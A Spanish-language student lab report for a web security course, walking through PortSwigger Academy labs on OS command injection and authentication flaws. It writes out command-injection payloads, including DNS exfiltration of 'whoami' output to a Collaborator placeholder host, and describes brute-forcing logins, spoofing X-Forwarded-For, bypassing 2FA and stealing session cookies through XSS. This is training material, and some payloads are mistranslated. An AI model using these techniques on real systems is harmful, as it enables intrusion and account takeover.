PRACTICAS_LABORATORIO_LUISA CANTUN (1)

Vista previa del material en texto

INSTITUTO TECNOLÓGICO SUPERIOR 
PROGRESO 
Organismo Público Descentralizado del Gobierno del Estado 
FORMATO DE PRÁCTICA 
2023B 
 
 
Carrera Semestre Clave de la asignatura Nombre de la materia 
Ingeniería en Sistemas 
Computacionales. 
7 CID-2101 Seguridad en la Web 
 
Practica 
No. 
Laboratorio de Nombre de la 
practica 
2 Taller de redes Puntos débiles en seguridad web 
 
Objetivo 
Conocer y comprender el Modelo de Seguridad de J2EE. 
 
Nombre del alumno Matrícula 
Luisa Fernanda Cantun Ortiz 0420025 
 
Estado del arte 
 
La plataforma PORTSWIGGER se divide en varios temas. Cada tema representa una vulnerabilidad sobre la que 
podemos aprender. La plataforma nos recomendará un path, en el que encontraremos los temas en un orden 
concreto dependiendo de la complejidad de cada vulnerabilidad. Este path es ideal para principiantes y tan solo es 
una propuesta, pues la plataforma da completa libertad a la hora de elegir sobre qué tema entrenar. En este caso 
utilizamos la plataforma para realizar practicas con OS Commands y Authentication. 
 
 
 
Descripción 
1. Con base a la explicación del docente, el alumno se registrará y entrará al siguiente link: 
https://portswigger.net/web-security 
2. Seleccionará el apartado de Academia y realizará los laboratorios de los apartados de 
• Autenticación (14 laboratorios) 
• Comandos de inyección (5 laboratorios) 
3. A completar el formato de práctica y colocar en el desarrollo la captura de los laboratorios resueltos, colocar en 
las imágenes lo aprendido en ese laboratorio. 
4. Entregar este formato por alumno 
 
 
Desarrollo 
Os commnad #1 
 
 
Os command #1: 
Esta práctica de laboratorio contenía una vulnerabilidad de inyección de comandos del 
sistema operativo en el verificador de existencias de productos, la página se trataba de una 
tienda que mostraba artículos. 
La aplicación ejecuto un comando de shell que contenía los ID de la tienda y los productos 
proporcionados por el usuario, posteriormente devolvía el resultado sin procesar el comando 
de respuesta. 
Para resolver la práctica de laboratorio, se ejecutó el comando whoami (quien soy) para 
determinar el nombre del usuario actual. 
Se utilizó la aplicación de Burp Suite Professional para interceptar y modificar la solicitud que 
verifique el nivel de existencias dentro de la página web, posteriormente se modificó el 
parámetro storeID, dándole el valor 1|whoami, así fue como se solucionó este lab. 
 
 
 
Os Commands #2 
Esta práctica de laboratorio contenía una vulnerabilidad de inyección ciega de comandos del 
sistema operativo en la función de retroalimentación. La aplicación ejecuta un comando de 
shell que contenían los datos e información proporcionados por el usuario y, además, el 
resultado del comando no se devolvía en la respuesta. 
Para resolver la práctica de laboratorio, aproveché la vulnerabilidad de la inyección ciega de 
comandos del sistema operativo para provocar un retraso de 10 segundos, posteriormente 
utilicé Burp Suite Professional para interceptar y modificar la solicitud que enviaba 
comentarios y por último se modificó el parámetro de correo electrónico, cambiándolo a: 
 
correo electrónico=x||ping+-c+10+127.0.0.1|| 
una vez realizado esto se pudo apreciar como la respuesta se demoro 10 segundos. 
 
 
Os command #3 
En esta ocasión el laboratorio contenía una vulnerabilidad de inyección ciega de comandos 
del sistema operativo específicamente en la función de retroalimentación. 
La aplicación ejecutaba un comando de shell que contenían los datos proporcionados por el 
usuario. El resultado del comando no se devolvía en la respuesta. Sin embargo, se podía 
utilizar la redirección de salida para capturar la salida del comando. 
Utilicé Burp Suite para interceptar y modificar la solicitud que enviaba comentarios, una vez 
realizado este paso modifiqué el parámetro de correo electrónico, cambiándolo a: 
 
email=||quiénami>/var/www/images/output.txt|| 
 
Luego usé Burp Suite para interceptar y modificar la solicitud que carga una imagen de un 
producto, como siguiente paso modifiqué el parámetro de nombre de archivo, cambiando el 
valor al nombre del archivo que se especificó para la salida del comando inyectado: 
 
nombre de archivo = salida.txt 
 
 
Os command #4 
Para resolver la práctica de laboratorio, aproveché la vulnerabilidad de inyección ciega de 
comandos del sistema operativo para realizar una búsqueda de DNS en Burp Collaborator. 
Utilicé Burp Suite para interceptar y modificar la solicitud que envía comentarios, 
posteriormente modifiqué el parámetro de correo electrónico, cambiándolo a: 
 
email=x||nslookup+x.BURP-COLABORADOR-SUBDOMINIO|| 
 
Para finalizar seleccioné la siguiente sintaxis "Insertar carga útil de Colaborador" para insertar 
un subdominio de Burp Collaborator donde se indicaba en el parámetro de correo electrónico 
modificado. Esta práctica de laboratorio contenía una vulnerabilidad de inyección ciega de 
comandos del sistema operativo en la función de retroalimentación. 
La aplicación ejecutaba un comando de que contenía todos los detalles proporcionados por 
el usuario. 
 
 
 
Os command #5 
Esta práctica de laboratorio tenía una vulnerabilidad de inyección ciega de comandos del 
sistema operativo en la función de retroalimentación. 
Para realizar y resolver este laboratorio utilicé Burp Suite Professional para interceptar y 
modificar la solicitud que enviaba comentarios. Se modificó el parámetro de correo 
electrónico, cambiándolo a la siguiente sintaxis e insertando el subdominio Burp Collaborator: 
 
email=||nslookup+`whoami`. BURP-COLABORADOR-SUBDOMINIO|| 
 
Después de “encuestar” se visualizaron ver algunas interacciones de DNS que fueron iniciadas 
por la aplicación como resultado de su carga. Una vez concluida esta parte se pudieron 
observar los resultados en el comando que apareció en el subdominio de la interacción. El 
nombre de dominio completo que se buscó se muestra en la pestaña “Descripción de la 
interacción” 
 
 
 
 
 
AUTENTIFICACIÓN #1 
Con el Burp ejecutándose, se envió un nombre de usuario y contraseña no válidos, 
posteriormente abrimos el Historial HTTP y buscamos la solicitud POST/iniciar sesión, los 
seleccionamos y lo enviamos a Burp Intruder, una vez ahí, abrimos la pestaña de Posiciones. 
Ahí podemos ver que el parámetro de nombre de usuario se establece automáticamente 
como una posición de carga. 
En Configuración de carga útil, se pega la lista de nombres de usuario de candidatos, los cuales 
podemos encontrar navegando. Finalmente, haga clic en Iniciar ataque, y este comenzará en 
una nueva ventana. 
Cuando finalice el ataque, en la pestaña Resultados, se examina la columna Longitud, ahí se 
puede hacer clic en el encabezado de la columna para ordenar los resultados, una vez 
realizado el paso anterior se puede visualizar que una de las entradas es más larga que las 
demás. Se tiene que comparar la respuesta a esta carga útil con las otras respuestas para 
poder apreciar que las otras respuestas contienen el mensaje Nombre de usuario no válido, 
pero esta respuesta dice Contraseña incorrecta. Anote el nombre de usuario en la columna 
Carga útil. 
El resultado debería verse así: 
 
nombre de usuario=usuario-identificado&contraseña=§contraseña-inválida§ 
 
Cuando finalice el ataque, observa la columna Estado, cada solicitud recibió una respuesta con 
un código de estado 200, excepto una, que obtuvo una respuesta 302 y esto quiere decir que 
el intento de inicio de sesión fue exitoso; anote la contraseña en la columna Carga útil. 
Inicie sesión con el nombre de usuario y contraseña que identificó y acceda a la página de 
cuenta de usuario para resolver la práctica de laboratorio. 
 
 
 
AUTENTIFICACIÓN #2 
Para realizar este laboratorio se debe iniciar sesión con una cuenta “propia”, puede ser completamente 
ficticia, no afectara en nada. Posteriormente recibirá un codigo de verificación 2FA. Se debe hacer clic en el 
botón Cliente de correoelectrónico para acceder a sus correos electrónicos y así poder tomar la URL. Una 
vez realizado lo anterior cierre e inicie sesión nuevamente, esta vez con los datos de la víctima. Cuando se le 
solicite el código de verificación, cambie manualmente la URL para navegar a /mi-cuenta. La práctica de 
laboratorio se resuelve cuando se carga la página. 
 
 
AUTENTIFICACIÓN #3 
Para resolver la práctica de laboratorio, se realizaron los siguientes pasos. Primeramente, se 
inició sesión en la cuenta personal, cabe destacar que puede ser ficticia, no afecta el proceso 
de solución. Posteriormente, se recibió el código de verificación de doble factor (2FA) a través 
del correo electrónico asociado a la cuenta. Una vez finalizado el paso anterior se hizo clic en 
el botón "Cliente de correo electrónico" para acceder a los correos electrónicos y obtener el 
código de verificación necesario para el proceso de autenticación para después dirigirse a la 
página de la cuenta en donde se tomó la URL de la página. 
Posteriormente, se cerró la sesión en la cuenta personal para realizar la siguiente etapa del 
proceso y se procedió a iniciar sesión utilizando las credenciales de la cuenta de la víctima. 
Para finalizar, cuando se solicitó el código de verificación, se llevó a cabo un cambio manual 
en la URL del sitio web, redireccionándola hacia la sección específica de /mi-cuenta. Esto se 
hizo con la intención de resolver la práctica de laboratorio, y se confirmó la resolución al cargar 
exitosamente la página en cuestión. 
 
 
 
 
AUTENTIFICACIÓN #4 
Con el Burp funcionando, envías un nombre de usuario y contraseña falsos, pueden ser falsos, 
eso no afecta el proceso de solución de esta práctica. Luego, en la opción Intruder das clic en 
el parámetro de nombre de usuario como objetivo y pruebas con diferentes nombres de 
usuario hasta que encuentras uno que da un error sutilmente diferente, estos nombres y 
contraseñas puedes encontrarlos al inicio de la práctica. 
Una vez realizado lo anterior insertas el nombre de usuario en el campo correspondiente junto 
con una contraseña incorrecta en el ataque, y podrás observar que una de las respuestas tiene 
un error de formato en el mensaje. Anotas esta contraseña, ya que será la correcta para 
solucionar este laboratorio. 
Después, pruebas iniciar sesión con este nombre de usuario y la contraseña que encontraste, 
y si funciona, resuelves el desafío. 
 
 
 
AUTENTIFICACIÓN #5 
Primero se enviaron nombres de usuario y contraseñas inválidos a Burp para probar 
diferentes combinaciones. Después se notó que la IP se bloquearía con demasiados intentos 
fallidos, mediante esto se identificó el encabezado X-Forwarded-For para falsificar la dirección 
IP y eludir la protección de fuerza bruta basada en IP, posteriormente se usó Burp Intruder 
para realizar un ataque de tipo Pitchfork con una carga útil larga para el encabezado X-
Forwarded-For y el nombre de usuario, y se observaron los tiempos de respuesta. 
Por último se realizó un nuevo ataque Burp Intruder para esa solicitud, con la identificación 
del nombre de usuario y una carga útil para la contraseña. 
Se encontró una contraseña en la respuesta con un estado 302, y se utilizó para acceder a la 
página de cuenta de usuario y resolver la práctica de laboratorio. 
 
 
 
AUTENTIFICACIÓN #6 
 
 
AUTENTIFICACIÓN #7 
Con Burp funcionando, me metí en la página de inicio de sesión con un nombre de usuario y 
contraseña falsos. Usé Burp Intruder para mandar la solicitud POST/iniciar sesión y ahí 
seleccioné el ataque, luego puse una carga en el campo del nombre de usuario y dejé un 
espacio en blanco al final. Añadí la lista de nombres de usuario en las cargas útiles y generé 
cinco cargas útiles para cada uno según lo indicado en la solución para el laboratorio, después, 
noté que una respuesta era más larga que las otras y tenía un mensaje de error distinto sobre 
intentos de inicio de sesión. Anoté ese nombre de usuario. 
Hice otro ataque con Burp Intruder usando el tipo de ataque Sniper y ajusté el nombre de 
usuario al que había notado. Metí la lista de contraseñas y creé una regla para sacar el mensaje 
de error. 
Al revisar los resultados, vi que algunas respuestas no tenían ningún mensaje de error, así que 
tomé nota de esa contraseña. 
Esperé un minuto para desbloquear la cuenta y luego usé el nombre de usuario y la contraseña 
que encontré para entrar en la cuenta y resolver la práctica de laboratorio. 
 
AUTENTIFICACIÓN #8 
Con Burp encendido, me metí en mi cuenta y miré cómo funciona la verificación 2FA. Noté 
que el parámetro de verificación en la solicitud POST /login2 se usaba para saber a qué cuenta 
se accede. 
Luego cerré sesión en mi cuenta y usé Burp Repeater para mandar una solicitud GET /login2. 
Cambié el valor de la verificación a "carlos" para generar un código 2FA temporal para Carlos, 
después volví a la página de inicio de sesión, metí mi usuario y contraseña, y mandé un código 
2FA que no era válido. 
Usé Burp Intruder para enviar la solicitud POST /login2. Ajusté el parámetro de verificación a 
"carlos" y puse una carga en el parámetro mfa-code. Intenté varios códigos de verificación 
hasta que funcionó, hasta que finalmente, cargué la respuesta 302 en mi navegador y fui 
directo a "Mi cuenta" para resolver la práctica de laboratorio. 
 
 
AUTENTIFICACIÓN #9 
 
 
AUTENTIFICACIÓN #10 
Utilizando Burp, realicé un análisis de la funcionalidad "Permanecer conectado" en mi propia 
cuenta, notando que la cookie de sesión persistente se codifica en Base64 y sigue el patrón 
"nombre de usuario:hash md5 de la contraseña". 
Posteriormente, llevé a cabo un intento de robo de la cookie de un usuario objetivo, 
aprovechando una vulnerabilidad de Cross-Site Scripting (XSS) presente en la función de 
comentarios e inyecté un código XSS almacenado en un comentario, el cual redirigía la cookie 
al servidor de exploits que tenía previamente identificado. 
Una vez en el servidor de exploits, monitoreé el registro de accesos y verifiqué la presencia de 
una solicitud GET que contenía la cookie de sesión del usuario objetivo. Utilicé la herramienta 
Burp Decoder para decodificar la cookie, lo que me proporcionó la cadena 
"Carlos:26323c16d5f4dabff3bb136f2460a943". 
Procedí a buscar el hash en un motor de búsqueda y descubrí que la contraseña 
correspondiente era "Érase una vez". 
Con las credenciales obtenidas, ingresé a la cuenta del usuario objetivo, accedí a la sección 
"Mi cuenta" y llevé a cabo la eliminación completa de la cuenta, cumpliendo así con los 
requisitos de la práctica de laboratorio. 
 
AUTENTIFICACIÓN #11 
 
 
 
AUTENTIFICACIÓN #12 
Usando Burp, exploré la función de cambio de contraseña durante una sesión de prueba. Noté 
que el nombre de usuario se transmitía en un campo oculto en la solicitud y que el sistema 
respondía de manera diferente según las contraseñas ingresadas. 
Tras observar varios escenarios, descubrí que, si la contraseña actual era incorrecta y las 
nuevas coincidían, la cuenta se bloqueaba. Si las nuevas contraseñas eran diferentes, el 
sistema mostraba el mensaje "Las nuevas contraseñas no coinciden". Decidí aprovechar este 
comportamiento para identificar contraseñas válidas. Con esto en mente, realicé una solicitud 
POST /mi-cuenta/cambio-contraseña en Burp Intruder, utilizando el nombre de usuario 
"carlos" y dos nuevas contraseñas distintas, asegurándome de incluir una contraseña actual 
incorrecta como carga útil. 
 
Configuré una regla de coincidencia grep para encontrar respuestas que contenían el mensaje 
específico y ejecuté el ataque. Después de la finalización del ataque, identifiqué una 
contraseña válida al encontrar una respuesta que coincidía con el patrón buscado. 
Luego, cerré la sesión en mi propia cuenta y volví a iniciar sesión con el nombre de usuario 
"carlos" y la contraseña identificada. Finalmente, accedí a la sección "Mi cuenta" y así logré 
resolver la tarea de laboratorio. 
 
AUTENTIFICACIÓN #13 
 
AUTENTIFICACIÓN#14 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Conclusiones personales 
 
Aprendí bastante haciendo este tipo de prácticas, fue un poco frustrante y desgastante de inicio a fin, hubo algunas 
que disfrute hacer pero en su mayoría no, espero que no se repita. 
 
Criterios de evaluación 
 Excelente Regular Mal 
Funcionalidad Se entregó funcionando la 
práctica sin errores 
Se entregó parcialmente 
funcionando la práctica 
Se entregó sin funcionar 
Tiempo y forma Se entregó en tiempo y con 
el formato adecuado 
Se entregó en tiempo o con 
el formato adecuado 
No se entregó 
Contenido Tiene todos los apartados 
correctamente escritos 
Casi todos los apartados 
están correctamente 
escritos 
No tiene todos los 
apartados correctamente 
escritos 
Fotografías o vídeo 
(evidencia) 
Muestra el funcionamiento 
completo de la práctica 
desde el inicio, desarrollo y 
final en su reporte 
Muestra parcialmente el 
funcionamiento de la 
práctica en su reporte 
No hay vídeo o no muestra 
el funcionamiento de la 
práctica en su reporte 
Conclusiones Tiene conclusiones 
personales de cada 
integrante del equipo de lo 
que hizo y la conclusión 
grupal es la misma de todo 
el grupo 
Tiene conclusiones 
personales de cada 
integrante del equipo de lo 
que hizo o la conclusión 
grupal es la misma de todo 
el grupo 
No tiene conclusiones 
personales de cada 
integrante del equipo de lo 
que hizo ni la conclusión 
grupal es la misma de todo 
el grupo 
Ortografía No tiene ninguna falta 
ortográfica 
Tiene algunas faltas 
ortográfica, cada una se le 
descuenta 1 punto 
Todo el documento esta 
lleno de errores 
ortográficos.